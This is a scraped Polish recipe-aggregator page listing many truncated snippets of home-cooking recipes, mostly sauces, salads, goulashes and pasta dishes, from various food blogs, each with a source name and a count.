minut. Smaczna i szybka w przygotowaniu idealnie sprawdzi się jako kolacja lub imprezowa przekąska. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 puszka kukurydzy 1 puszka czerwonej fasoli 1 puszka tuńczyka w sosie własnym 1 mała lub pół dużej cebuli 3-4 łyżki majonezu sól i pieprz szczypiorek lub odrobina zieleniny do posypania po wierzchu (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: do miski przekładamy odcedzoną

Blog kulinarny S9.PL
Talerz pysznego spaghetti z kurczakiem i brokułami w mniej niż 20 minut. Będziesz zachwycona. PRZEPIS 120

solą i pieprzem, zagotuj i duś na małym ogniu 5-7 minut, przynajmniej raz mieszając. Po tym czasie na patelnię wrzuć makaron, wymieszaj i od razu podawaj. Rada: do sosu razem ze śmietanką możesz wrzucić też garść startego parmezanu oraz posypać nim każdą porcję. Tak właśnie zrobiliśmy tym razem i było jeszcze pyszniej! Artykuł Talerz pysznego spaghetti z kurczakiem

Kulinarna Polska
Placki pszenne domowe, czyli kuchnia w czasach zarazy 131

akurat można zrobić. Prostota wykonania i duże możliwości wykorzystania na różne sposoby. Kilka dni później u nas była powtórka smakowitości - tym razem na obiad  - z karkóweczką i domowym sosem Tzatziki . Niebo w gębie choć placki nie wiedzieć czemu wyszły twardsze i mniej puszyste niż za pierwszym razem. Niebawem znów je planujemy w menu... A konkluzja jest jedna: świat się

Kuchnia po mojemu
Wegeburgery z kaszą jaglaną 160

łyżeczka suszonego imbiru garść świeżej kolendry ewentualnie 2 łyżeczki ziarenek kolendry, zmielonych w moździerzu garść świeżej natki pietruszki 1/2 łyżeczki soli 1/4 łyżeczki pieprzu 1/4 łyżeczki chili 2 łyżki sosu sojowego Kaszę przelać wrzątkiem, wypłukać kilka razy na sicie, ugotować na sypko w 1 i 1/4 szklanki wrzącej wody, od momentu zagotowania wody, gotować 20 min pod przykryciem na małym

moj przepis na
Postny majonez 152

Mój przepis na | Wegański, postny majonez Wegański Postny Majonez zrobiony jest z samych warzyw, bez dodatku tłuszczu, cukru i jajek czy musztardy. Ja tego sosu używam jako dressing do wszystkich postnych sałatek i surówek, do klasycznej sałatki jarzynowej, do kotletów warzywnych. Nawet sałatki, które przygotowuje dla męża są z dodatkiem tego majonezu i przyznam nieskromnie, że mu smakują. Składniki

moj przepis na
Placki z cukini z sosem pomidorowym 175

Zamiast ziemniaków starta na grubo cukinia, reszta składników klasycznie.… Czytaj dalej Placki z cukini z sosem pomidorowym

Pij soki wyciskane
Pikantna wołowina duszona w winie 156

dodajemy przygotowane warzywa, mieszamy i gotujemy dalej przez około 25 minut *** *** Po tym czasie w szklance mieszamy mąkę z 1/4 szklanki zimnej wody i koncentratem pomidorowym oraz kilkoma łyżkami sosu z patelni. Całość wlewamy do mięsa i zagotowujemy. Potrawę doprawiamy do smaku solą i pieprzem. Można także wedle gustu dodać słodką śmietankę lub łyżeczkę cukru *** *** SMACZNEGO ***     POLECAM TAKŻE

Blog z Apetytem
Jak zrobić chrupiące frytki? 204

tych przygotowanych w sieciach restauracji. Jak przygotować: Tradycyjne kotlety mielone Składniki 1 kg ziemniaków 2 l wody 3 łyżki cukru olej do smażenia Błyskawiczny przepis na: Ryba w sosie koperkowym Przepis na chrupiące frytki Ziemniaki kroimy w paseczki przypominające frytki. W misce w wodzie rozpuszczamy cukier, a następnie wkładamy do niego pokrojone ziemniaki. Odstawiamy na ok. 30 minut. Następnie frytki

Kulinarnyblog.pl - wiesz jak gotować!
Sos z serka topionego z brokułem 165

dodajemy szklankę wody oraz serek topiony. Dusimy kilka minut, aż serek się rozpuści. Doprawiamy do smaku solą i pieprzem.  Podajemy z makaronem.  Z przepisu wychodzą 3 porcje sosu. 1 porcja to 340 kcal

Gotowanie moimi oczami
Meksykańskie gołąbki w kapuście 120

przykryciem przez około 1 godzinę – aż, kapusta zmięknie *** *** Następnie powstały wywar przelewamy do innego garnka, dodajemy koncentrat pomidorowy, mieszamy i doprawiamy do smaku solą oraz pieprzem *** *** Gołąbki zalewamy sosem i gotujemy jeszcze przez kilka minut *** *** Podajemy ze świeżym pieczywem lub gotowanymi ziemniakami *** *** SMACZNEGO ***       POLECAM RÓWNIEŻ: POMYSŁY NA SZYBKI, TANI I ŁATWY OBIAD! KLIKNIJ TUTAJ SURÓWKI

Blog z Apetytem
Hot-dog z mięsem mielonym i cebula 196

Hot-dog z mięsem mielonym i cebula to alternatywa dla tradycyjnego hot-doga. Nasz wersja będzie bardzo mięsna bo będzie zawierała zarówno parówkę jak i mięso

Kulinarnyblog.pl - wiesz jak gotować!
Szybki gulasz drobiowy 199

dziś podpowiadam i podrzucam kolejny pomysł na kurczaka inaczej, ale nadal błyskawicznie i smacznie. Tym razem będzie gulasz drobiowy zrobiony na bazie mięsa z udek i podudzi z delikatnym sosem śmietanowym. Podany z drobną kaszą lub ryżem jest pyszny! Składniki 5-6 udek z kurczaka (lub gotowe obrane mięso z udek/podudzi) jedna marchew biała część pora 100 ml śmietany

Analiza Smaku
Dressing balsamiczny 128

łyżeczka musztardy sarepskiej szczypta soli Do garnuszka lub słoiczka dajemy oliwę, ocet, wodę, miód i musztardę. Dodajemy przeciśnięty przez praskę czosnek. Doprawiamy szczyptą soli. Dokładnie mieszamy, aż do uzyskania sosu o jednolitej konsystencji. Źródło

Smaki Na Talerzu
Ryżowa sałatka „Marcowa” 145

przepis na blogu żeby mi nie umknął , jest ich tyle że ciężko spamiętać składniki: 1,5 szklanki ryżu ugotowanego na sypko ( wg. instrukcji na opakowaniu ) 1 puszka tuńczyka w sosie własnym 1 zielona papryka grubościenna, raczej mała 1 mała puszka kukurydzy 1 puszka czerwonej fasoli 5 ogórków, korniszonów 1 pęczek natki pietruszki 1/2 pęczka świeżej kolendry ( można kupić w doniczkach

Ogrodnik w podróży
Tradycyjne kotlety mielone 206

Kotlety te bardzo często królują na polskich stołach jako weekendowy obiad. Sprawdźcie jak szybko przygotować ich tradycyjną wersję i jak smaczne mogą być. Sprawdź przepis na: Kotlety mielone z sosem czosnkowym Lista składników potrzebna do przygotowania kotletów mielonych oraz przepis krok po kroku znajduje się poniżej. Składniki 500g mięsa mielonego wołowego (ewentualnie wołowo- wieprzowego) 1 jajko szklanka letniej wody sucha

Kulinarnyblog.pl - wiesz jak gotować!
Tradycyjny GYROS 177

cebulę pokrój w drobną kostkę a kapustę pekińską posiekaj; 3. W przeźroczystej misce układaj warstwami: kurczak keczup cebula kukurydza majonez ogórki keczup kapusta pekińska Zamiast majonezu możesz użyć sosu czosnkowego - 4 łyżki majonezu wymieszaj z 4 łyżkami jogurtu naturalnego gęstego bądź śmietany 18%, dodaj do tego sól, pieprz oraz starte na tarce 2 ząbki czosnku i np. koperek. Wszystko wymieszaj

Prosty przepis na
Jogurtowy Dip - Sos Do Mięsa z Grilla 127

Jednym z moich ulubionych sosów do mięsa, ziemniaków zapiekanych, a nawet sałat, jest dip jogurtowy, jego smak wpisze się idealnie do różnych dań. SKŁADNIKI: 150g jogurtu naturalnego 1/2 łyżeczki musztardy dijon 1/2 łyżki soku z cytryny 1 łyżka majonezu 1 łyżka śmietany 30% 1 łyżka natki pietruszki (może być mrożona) 1 łyżka koperku sól pieprz WYKONANIE: 1. Wszystkie składniki umieszczamy

Dziś Ja gotuje
Bardzo mięsny hot-dog 167

Czy próbowaliście już mięsnej wersji hot-doga. Trochę nietypowe połączenie, ale zapewniam Was, że jest to idealne danie dla wszystkich mięsożerców. Na pierwszy rzut oka to

Kulinarnyblog.pl - wiesz jak gotować!
Sos kawiorowy 106

Sos kawiorowy z książki Marii Disslowej Jak gotować z dwudziestolecia międzywojennego. Proponuję podawać go do mięs pieczonych, wędlin i jajek. 2 żółtka z jajek ugotowanych na twardo, 20 g kawioru, 2 łyżki oliwy*, sok z 1 cytryny, szczypta cukru, 1 łyżeczka posiekanej szalotki lub szczypiorku Żółtka przetrzeć przez sito. Przetarte żółtka utrzeć z oliwą, rozprowadzić sokiem z cytryny. Doprawić

królestwo garów
RAITA OGÓRKOWA Z IMBIREM 164

Rodzaj dipu na bazie jogurtu, świeżego ogórka i ziół. W mojej wersji także z odrobiną mieszanki przypraw - garam masala i tartym imbirem.  Raitę najczęściej podaję jako dodatek do sosów curry, choć świetnie smakuje także z chlebkiem pita lub naan oraz pieczonym ziemniaczkami. Wzbogaca smak smażonych i grillowanych mięs. Stanowi kontrast dla ostrych posiłków. Przyprawę garam masala możecie zastąpić mieszanką

cool and minty
Sałatka z brokułem 144

Sałatka z brokułem pod różnymi postaciami pojawia się w naszym domu dość często. Najczęściej z dodatkiem sera feta i sosu czosnkowego. Tak też było i w tym przypadku, ale sałatka z brokułem i fetą została wzbogacona także o inne składniki, w tym m.in The post Sałatka z brokułem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Zapiekane ślimaki makaronowe 201

Dziś mam dla Was propozycję na smaczny obiad z piekarnika. A jest to makaron w kształcie ślimaków nadziewany farszem z pieczonego kurczaka i żeberek z dodatkami. Makaron zalałam sosem z passaty pomidorowej z mlekiem kokosowym. Danie wyszło naprawdę smaczne. Makaron możecie kupić na Bee.pl . Znajdziecie tam super produkty spożywcze, ekologiczne ale i kosmetyki. Zachęcam Was do zakupów bez wychodzenia

Ewa w kuchni
Konfitura z czerwonej cebuli 147

serów. Jest słodka, słona i wytrawna jednocześnie. Przygotowanie konfitury jest banalnie proste i nie wymaga wielu umiejętności kulinarnych. Z pewnością wyjdzie każdemu. Polecamy Wam również nasze inne przepisy na sosy oraz inne przepisy na dania z mięsem . Składniki : 500 g czerwonej cebuli 80 ml ciemnego octu balsamicznego 40 g brązowego cukru 1/2 łyżeczki tymianku 4 łyżki miodu 1/3 łyżeczki pieprzu

FoodMagazine.pl - Przepisy kulinarne
Szybki sos tahini 148

sos idealnie pasuje do pieczonej dyni, do warzyw pieczonych jak i surowych. Nadaje się do pieczywa zamiast masła czy do mięsa drobiowego. Jest aromatyczny i smakuje wyśmienicie, polecam. CZYTAJ DALEJ

Moje Małe Czarowanie
Imprezowa sałatka z tortellini 121

rozgrzanej, suchej patelni. Co jakiś czas potrząsamy patelnią, by słonecznik się nie przypalił. Majonez łączymy z ketchupem. Doprawiamy ziołami prowansalskimi, solą oraz pieprzem. Wszystkie składniki łączymy ze sobą, dodajemy sos majonezowo-ketchupowy, mieszamy. Odstawiamy do lodówki do schłodzenia. Źródło

Smaki Na Talerzu
Hańdyk we koperkowyj zōłzie (Indyk w sosie koperkowym) 120

czowiek myśli, że by zjołd2 cojsik inkszego3, a niy yno co tydziyń te same zestawy i wtedy ôwdy4 przido Wōm sie tyn [...] Artykuł Hańdyk we koperkowyj zōłzie (Indyk w sosie koperkowym) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Wyborne polędwiczki wieprzowe 144

Gotowe w : 30 min.   Każda kucharz ma swój sposób na przygotowanie polędwiczki i tak też jest w moim przypadku. Miałam wiele prób i nie wstydzę

uDolores.pl - tylko sprawdzone przepisy
Imprezowa sałatka z tortellini 425

rozgrzanej, suchej patelni. Co jakiś czas potrząsamy patelnią, by słonecznik się nie przypalił. Majonez łączymy z ketchupem. Doprawiamy ziołami prowansalskimi, solą oraz pieprzem. Wszystkie składniki łączymy ze sobą, dodajemy sos majonezowo-ketchupowy, mieszamy. Odstawiamy do lodówki do schłodzenia. Źródło

Smaki Na Talerzu
Gulasz węgierski (Gulasch ungherese) 167

gotowaniu i dodatku aromatycznej papryki, królowej kuchni węgierskiej, bez której gulasz nie byłby gulaszem. Jeżeli szukacie przepisów na rozgrzewające dania, polecam Wam mój wcześniejszy przepis na gulasz cielęcy w sosie słodko-kwaśnym  z  pomidorami, suszonymi śliwkami i żurawiną. Nie pozostaje mi nic innego, niż polecić Wam mój dzisiejszy przepis i życzyć smacznego :) **** Oggi vorrei condividere

La grande e la piccola cuoca
Makaron z białym sosem 163

rozpuszczamy masło (średnia moc palnika), dodajemy czosnek, cały czas mieszając smażymy przez pół minuty. Następnie dodajemy mąkę i nadal mieszamy, po minucie dodajemy mleko i bulion.  Gotujemy, aż sos będzie się gotował i zgęstnieje. Dodajemy natkę pietruszki, ser, sól oraz pieprz. Kiedy ser się roztopi ściągamy z palnika i natychmiast polewamy ugotowany wcześniej makaron.  Jeśli nie wyobrażacie sobie

Gotuj z Agnes
W sobotni wieczór 163

uformuj kule. Każdą kulę rozwałkuj na okrągły placek o grubości około 1 cm. Wymieszaj serek łaciate z utartym żółtym serem. Dopraw solą i pieprzem. Posmaruj spód do pizzy porcją sosu bianco. Na wierzchu posyp pokrojoną szynkę.. Pokrój pomidory w grube plasterki i ułóż na pizzy. Piecz w nagrzanym piekarniku na 250ºC przez około 12 minut. Piekę pizzę na kamieniu

codojedzenia
Makaron z tuńczykiem w pomidorach 157

poddusiłam, następnie tuńczyka z puszki. Przecisnęłam przez praskę czosnek i wszystko kilka minut razem się smażyło. Wspomnę, że w tym czasie gotował się już makaron. Na koniec do sosu dodałam puszkę pomidorów. Gdy zaczęło się już gotować dosypałam zioła prowansalskie. Soliłam na końcu, gdyż tuńczyk z puszki już ma trochę soli. Oprószyłam pieprzem i na chwilkę odstawiłam. Odcedziłam makaron

Pieprzyć z Fantazją
Grillowana pierś indyka z kaszą jęczmienną i sosem grzybowym 174

takiego własnie użyłam. Taki grill jest o tyle lepszy, że zamykam mięso i jest poddane od razu dużej temperaturze jednocześnie z dwóch stron. Dzięki temu mięso pozostaje soczyste. Do sosu użyłam swoich mrożonych grzybów, które dusiłam na wcześniej podsmażonej cebulce i podprawiłam śmietaną 18% Wszystko oczywiście doprawiłam solą i pieprzem. Takie proste i bardzo smaczne danie obiadowe 😊 (function

Kulinarne przemyslenia
Kluski białe z pieczarkami i sosem pieczarkowym 169

Dlaczego białe kluski spytacie? ugotowane ziemniaki są białe a po dodaniu mąki ziemniaczanej są jeszcze bielsze. Pieczarki są aromatyczne i nadają kluskom głębi. Sos pieczarkowy idealnie podkreśla smak klusek. Zapraszam do zrobienia klusek białych z pieczarkami. CZYTAJ DALEJ

Moje Małe Czarowanie
Udka kurczaka pieczone z sezamem 190

Składniki: 12 udek z kurczaka 5 łyżek ciemnego sosu sojowego 3 łyżki oleju sezamowego 3 łyżki oleju z orzechów ziemnych 5 ząbków czosnku 3 cm świeżego imbiru 1 łyżeczka ostrej papryki sól Sposób wykonania: Czosnek miażdżymy a imbir ścieramy drobno na tarce. Kawałki kurczaka wrzucamy w dużej miski, dodajemy wszystkie składniki (oprócz sezamu) i dokładnie mieszamy aby mięso było jednolicie

Qchnia po prostu
Sos tatarski z kaparami 109

kuchnią. A jak kuchnia polska to (u mnie) Hanna Szymanderska. Każda potrawa, jaką dotychczas robiłam wg jej przepisu, była dokładnie taka jak trzeba. Wyszperałam parę dni temu przepis na sos tatarski z kaparami. Zrobiłam, zjadłam, publikuję. Pyszny. Na najbliższe święta będzie jak znalazł. Przepis nieznacznie zmodyfikowałam. Składniki: 5 korniszonów 1 szalotka 1 łyżka kaparów 1 łyżka poszatkowanej natki pietruszki

Kardamonovy
Sos paprykowo-pomidorowy do gołąbków 125

margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Aksamitny sos, idealny do gołąbków. Składniki: 3 czerwone papryki 750 ml passaty pomidorowej 1 łyżka masła ghee 1 pełna łyżka mąki 100 ml bulionu warzywnego cukier sól, pieprz Przygotowanie: Normal

R'n'G Kitchen
Serniczki dyniowe z sosem karmelowym 129

wszystko pokryje biały puch. To znak, że można zacząć myśleć o Świętach, które pewnie jak co roku przyjdą co najmniej o kilka dni za … Artykuł Serniczki dyniowe z sosem karmelowym pochodzi z serwisu FitSweet

Fitsweet.me
Karkówka po chłopsku 8740

Karkówka po chłopsku Soczyste i kruche mięso wieprzowe duszone w pysznym i bardzo aromatycznym sosie. Tak przygotowaną karkówkę polecam podać z ziemniaczkami i ulubioną surówką. To danie z pewnością zasmakuje wszystkim domownikom, jednak jeżeli mają je jeść także dzieci to lepiej dodać mniej papryczki chilli, gdyż mięso wychodzi dość pikantne.     Składniki: ok 0,5kg karkówki 2-3 cebule

Blog z Apetytem
Cevapcici 142

pochodzenia bałkańskiego, sporządzane w wielu lokalnych odmianach. W Albanii występuje pod nazwą qofte, w Bośni jako Ćevapi, a w Rumunii jako mititei lub mici. Najczęściej grillowane, podane z ajvarem, sosem czosnkowym i frytkami. Tradycyjnie powinno być przygotowane z mięsa wołowego i jagnięcego, ale ja z braku tego drugiego dodałam mielonej łopatki wieprzowej. I zrobiłam na patelni, bo pora grilla już

Bernika - moj kulinarny pamietnik
Zajōnczołki po byku (Wołowe klopsiki w podgrzybkowym sosie) 122

tyla grzibōw, że aż żołl1 z nich czego niy narychtować2. Mogecie sie zapytać, po czamu3 ôn zamiast fajnego kōnska miysa sie [...] Artykuł Zajōnczołki po byku (Wołowe klopsiki w podgrzybkowym sosie) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Polędwiczki wieprzowe w sosie porowo-śmietanowym 135

wlewamy śmietankę, mieszamy, dodajemy z powrotem mięso, smażymy 5 minut, co jakiś czas mieszając, żeby się nie przypaliło. W razie potrzeby jeszcze doprawiamy. Smacznego :)) polędwiczka wieprzowa, wieprzowina, por śmietana, sos

Bułka z Chlebem
Fasolowo-pomarańczowa pasta 148

Pasta z fasoli to zawsze dobry pomysł na dodatek do chleba lub warzyw. Chętnie też dodaję ją do sosów, warzyw i makaronów. Najlepiej jednak smakuje na grzance. 1 puszka czerwonej fasoli 1/2 pomarańczy 1-2 ząbki czosnku 1/2 łyżeczki mielonej kolendry 5-6 łodyżek świeżego tymianku (bez zdrewniałych części) lub 1/4 łyżeczki suszonego ok. 20 g długo dojrzewającego owczego sera

Kucharzyca
SOS DYNIOWY Z GRZYBAMI I ZIELONĄ SOCZEWICĄ 158

przykrywamy pokrywką i redukujemy płomień do minimalnego. Gotujemy 30 minut, aż dynia będzie miękka.  Zdejmujemy pokrywkę, zwiększamy płomień i dolewamy śmietankę. Zagotowujemy i gotujemy 1-2 minuty, aż sos lekko zredukuje się i zagęści.  Próbujemy i w razie potrzeby doprawiamy do smaku. Przed podaniem posypujemy natką pietruszki. Podajemy z ryżem lub ziemniaczkami puree

cool and minty
Spaghetti z mięsem i groszkiem 133

pokrojony seler. Lekko szklimy, dolewamy wina. Odparowujemy. Do cebuli dodajemy mięso, szpatułką lekko rozdrabniamy, zalewamy passatą. Dusimy na wolnym ogniu przez godzinę. Puszkę groszku, wraz z zalewą, dodajemy do sosu. Dusimy 5 min. ciągle mieszając. Do smaku doprawiamy solą, pieprzem

R'n'G Kitchen
GULASZ RYBNY Z DORSZA 189

Gulasz rybny z dorsza z dodatkiem warzyw - marchewki, cebuli, pieczarek oraz papryki, w sosie pomidorowym. To smaczna alternatywa dla gulaszu mięsnego. Taki gulasz, oprócz tego, że świetnie smakuje, jest lżejszy i zdrowszy od gulaszu z mięsa czerwonego, a także jego przygotowanie jest dużo szybsze - wystarczy niecałe 40 minut! Zaletą jest również duża ilość warzyw, dzięki temu danie jest pożywne

Kuchnia MagdaLeny
GULASZ RYBNY Z DORSZA 189

Gulasz rybny z dorsza z dodatkiem warzyw - marchewki, cebuli, pieczarek oraz papryki, w sosie pomidorowym. To smaczna alternatywa dla gulaszu mięsnego. Taki gulasz, oprócz tego, że świetnie smakuje, jest lżejszy i zdrowszy od gulaszu z mięsa czerwonego, a także jego przygotowanie jest dużo szybsze - wystarczy niecałe 40 minut! Zaletą jest również duża ilość warzyw, dzięki temu danie jest pożywne

Kuchnia MagdaLeny
Koktajl z krewetek 183

ulubionych zakąsek. Jest elegancka i prosta w przygotowaniu. Mój koktajl z krewetek jest lekki, orzeźwiający i smaczny. Często koktajl z krewetek przygotowuję na bazie majonezu i keczupu, z tzw. sosem tysiąca wysp. Zawsze smak i składniki koktajlu przygotowuję pod mój gust. Jakich Ty użyjesz składników i jak doprawisz koktajl zależy wyłącznie od Ciebie. Ale proponuję Ci wykorzystać mój przepis

Damsko-męskie spojrzenie na kuchnię
Gulasz jesienny 259

Składniki: ok. 30 dkg fileta z kurczaka ok. 30 dkg dyni (waga po wydrążeniu) 1 nieduży patison 1 cebula 1 jogurt naturalny jarzynka 1 mini papryczka chili 1 łyżka sosu … Czytaj dalej Gulasz jesienny

czarrna od kuchni
Gołąbki oszukane – idealne dla początkujących 169

Usmażone gołąbki układamy w naczyniu żaroodpornym i podlewamy 1/2 litra wody. Naczynie wstawiamy do piekarnika nagrzanego do 180 stopni na 45 min. 4 Upieczone gołąbki podajemy np. z sosem grzybowym (kliknij tutaj, żeby zobaczyć przepis) . Oszukane gołąbki można zrobić również z farszu który pozostał po zwykłych gołąbkach. Wystarczy dodać kapusty do farszu i postępować zgodnie z przepisem. Po przepis

uDolores.pl - tylko sprawdzone przepisy
Wegetariańskie gołąbki , niebo na talerzu 132

ładnie się połączy , odstawiamy do wystygnięcia . Każdy liść faszerujemy ryżem z dodatkami i zwijamy jak klasyczne gołąbki . Obsmażamy z każdej strony , żeby kapusta się przypiekła , ten zabieg zapewni pyszny sos . Układamy w naczyniu do zapiekania , zalewamy 2 szklankami wody . Dodajemy 2 łyżki koncentratu , mogą być tez posiekane kawałki kapusty , sól , pieprz do smaku i dusimy do miękkości . Jak już wszystko

Ogrodnik w podróży
Smażone grzyby do słoików , przetwory 193

się zepsują , nie ma tez obawy to grzyby więc się nie rozgotują Zimą po wyjęciu ze słoika wystarczy podgrzać , dowolnie doprawić dodać cebulkę lub śmietankę , a najlepiej robią gotowy sos . Doskonałe do pizzy lub jako farsz do schabowego czy nawet pierogów . Smacznego ! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Smażone grzyby do słoików , przetwory pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Pieczarkowy strogonow z makaronem 101

przepis to kolejny dowód na to, że makaron z sosem nie musi być nudny. Wprost przeciwnie! Może być intrygujący jak makaron z pesto z pistacji

Vegan Taste
Kotleciki z ziemniaków i łososia 160

Takie małe pyszne kotlety z sosem ziołowym smakują obłędnie. Idealne są na obiad w domu czy w pracy, do szkoły też się idealnie nadadzą. Polecam serdecznie do wypróbowania? lubicie takie kotlety? Ziemniaczane kotlety z łososiem i kukurydzą. CZYTAJ DALEJ

Moje Małe Czarowanie
Domowy ketchup: przepis jak zrobić 126

Stawiamy garnek na gazie i całość gotujemy około 40 minut, pod przykryciem, mieszając co jakiś czas. Po 40 minutach, kiedy pomidory się rozgotują, rozdrabniamy je blenderem, na gładki pomidorowy sos, który przecieramy przez sitko, tak, by na sicie zostały tylko skórki i nasionka. Przetarte pomidory przelewamy do wysokiego garnka, dodajemy cukier, paprykę ostrą, sól i ocet. Stawiamy garnek na gazie

NiePieprz.pl
Sos ogórkowy do mięsa – przepis z mojego bloga 220

koperku przyprawy sól pieprz przygotowanie 1 ogórek zetrzeć na tarce a 2 ogórek zmiksować blenderem ,wszystko dajemy do jednej miseczki ,pozostałe przyprawy składniki też .Doprawiamy i przekładamy do salaterki .Sos można podawać na ciepło podgrzewać .Polecam smacznego

Moje Wyroby
Schab na szybko z warzywami w sosie pomidorowym 169

stopni C i piec 65-70 minut. W trakcie zapiekania, przemieszać od czasu do czasu, aby górna warstwa się nie spaliła. Smacznego!!! Schab-na-szybko-z-warzywami-w-sosie-pomidorowym Pobierz (adsbygoogle = window.adsbygoogle || []).push

Przepisy Babci
Faszerowana cukinia 255

Faszerowana cukinia to idealna propozycja na kolację. Bardzo zdrowy i dietetyczny posiłek. Poniżej jest lista składników i bardzo prosty przepis. Składniki 1 duża cukinia 8-10

Kulinarnyblog.pl - wiesz jak gotować!
Makaron razowy z pesto bazyliowym 186

Makaron razowy z pesto bazyliowym to szybkie danie na zdrowy i smaczny obiad. Makaron taki możecie zabrać ze sobą do pracy jednak najlepiej smakuje zaraz po

Kulinarnyblog.pl - wiesz jak gotować!
Wegetariański gulasz z makaronem 164

Wegetariański gulasz z makaronem , czyli warzywny sos z pomidorów, papryki i cukinii to zdrowy obiad bez mięsa wzbogacony białkiem ze strączków. Idealny w sezonie na pyszne, dojrzałe pomidory i słodką czerwoną paprykę. Pomijając parmezan otrzymacie danie wegańskie. Po inne przepisy na obiady bez mięsa zapraszam tutaj. Po przepisy na Gulasze warzywne tutaj, a przepisy z makaronami znajdziecie tu. The post

Moja Delicja
Penne all'arrabbiata 147

dania w jednej z nadmorskich restauracji i tak wpasował się w moje gusta, że postanowiłam odtworzyć ten smak w swojej kuchni.  Prościej być nie mogło - do stworzenia aromatycznego sosu wystarczyły mi  czarne oliwki, czosnek, cebula oraz przyprawa chilli.    I przecier pomidorowy, oczywiście. W sezonie warto sięgnąć po świeże pomidory, wcześniej sparzone i obrane ze skórki

Kuchnia Ellie
Sos grzybowy 136

ogniu przez około 6 minut od czasu do czasu mieszając. Pod koniec doprawić solą i pieprzem. Dodać śmietane i zagotować na średnim ogniu. Gotować przez około 2 minuty aż sos nieco zgęstnieje, pod koniec dodając natkę pietruszki

KUCHNIA POLSKA
Sos czosnkowy 94

margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Wszelakie sosy bardzo lubimy. Muszą mieć, wg naszego upodobania, zbalansowany smak. Jak to polskie porzekadło brzmi: Co za dużo, to nie zdrowo. Składniki: 1 duży ząbek czosnku 2 łyżki śmietany

R'n'G Kitchen
Ketczup śliwkowo- paprykowy 258

przepis na ketczup ze śliwek i papryki. Gęsty, pachnący, słodko-kwaśny, idealny na grilla, do pieczonych ziemniaków lub na chleb. Bardzo smaczny i z powodzeniem zastępuje gotowe, kupowane sosy. I ten cudowny kolor, bez sztucznych dodatków. Podaję przepis podstawowy

dolcevitainmykitchen
Sos czosnkowy 135

roku, ale co zrobić? Tak jest no. Już mnie nosiło od jakiegoś czasu. Wszędzie dobrze, ale u siebie najlepiej. Wracając jednak do kulinariów, podrzucam Wam przepis na pyszny sos czosnkowy. Szybki, łatwy i przyjemny. Będzie dziś jedzony do domowej pizzy (ciiiiiii). Składniki: 200 ml gęstego jogurtu naturalnego 1 czubata łyżka majonezu pół łyżeczki musztardy 3 ząbki czosnku 1 łyżeczka ziół

Kardamonovy
Kurczak po węgiersku 146

czasie mięso i warzywa puszczą dużo soku *** *** Po tym czasie mieszamy, dodajemy bulion i dusimy dalej przez około 20 minut – do miękkości mięsa. Jeżeli chcemy zagęścić powstały sos na końcu gotowania dodajemy mąkę wymieszaną z niewielką ilością zimnej wody (ok 1/4 szklanki). W razie potrzeby potrawę doprawiamy do smaku solą i pieprzem *** *** smacznego ***     POLECAM TAKŻE: DANIA JEDNOGARNKOWE

Blog z Apetytem
Kotlety z piersi kurczaka w panierce z sera i płatków miodowych 136

Zakochałam się w serowej panierce ;-) Składniki Pierś kurczaka podwójna pierś Mąka Jajko 3 jajka Płatki miodowe z orzeszkami 3 garście płatków Ser cheddar 6 plasterków Sól Pieprz Makaron spaghetti Sos salsa Oliwa z oliwek Wykonanie: Se The post Kotlety z piersi kurczaka w panierce z sera i płatków miodowych appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Kurczak marynowany w miodzie z chłodnikiem i ziemniaczkami wg Okrasy 146

moje pichcenie wedle przepisów z LIDL’a , ale tym razem gotuję z Okrasą ;-) Składniki Podudzie kurczaka 2 podudzia (ja użyłam ćwiartkę kurczaka) Miód 4 łyżki Czosnek 4 ząbki Sos sojowy 2 łyżeczki Cytryna 1 cytryna Ogórek 1 świeży Jo The post Kurczak marynowany w miodzie z chłodnikiem i ziemniaczkami wg Okrasy appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Łosoś w sezamie 124

Składniki Filet z łososia 300-400g Ziarna sezamu 4 łyżki Sos sojowy 3 łyżki Cytryna 2 łyżki soku z cytryny Miód 1 łyżeczka płynnego miodu Imbiru w proszku 1 łyżeczka Sól do smaku Pieprz do smaku Oliwa z oliwek Wykonanie: Filet łososia pozbawić The post Łosoś w sezamie appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Surówka z marchewki 111

Szybka i smaczna surówka do obiadu, można by rzec, że to surówka jednoskładnikowa, lecz idealnie pasująca do wszelkiego rodzaju mięs i ryb. Składniki Marchew 5 sztuk, w miarę duże Sos sojowy 1 łyżka Cukier 1 łyżka Sól szczypta Pieprz The post Surówka z marchewki appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Szybka i prosta sałatka z papryką i ziołową fetą 125

smaczna sałatka. Składniki Mix sałat z roszponką 1 opakowanie Papryka czerwona 1 sztuka Papryka żółta 1 sztuka Świeży ogórek 1 ogórek Pomidorki koktajlowe pomarańczowe 250g Ser feta ziołowy 180g Sos włoski do sałatek The post Szybka i prosta sałatka z papryką i ziołową fetą appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z mozzarellą i mixem sałat 204

Sałatka z mozzarellą i mixem sałat z pysznym sosem miodowo-musztardowym. Więcej przepisów na sałatki znajdziesz tutaj: Sałatki i surówki – przepisy Sałatka z mozzarellą i mixem sałat – Składniki: 180g mix’u sałat z ru The post Sałatka z mozzarellą i mixem sałat appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Schab po bałkańsku 187

Schab po bałkańsku – to pyszna propozycja na obiad. Kawałki schabu w pysznym sosie pomidorowym z dodatkiem różnokolorowych papryk, smakują nieco podobnie do węgierskiego leczo, lecz właśnie zamiast kiełbasy jest wcześniej wspomniany schab :) In The post Schab po bałkańsku appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka warstwowa z brokułem i kurczakiem 2095

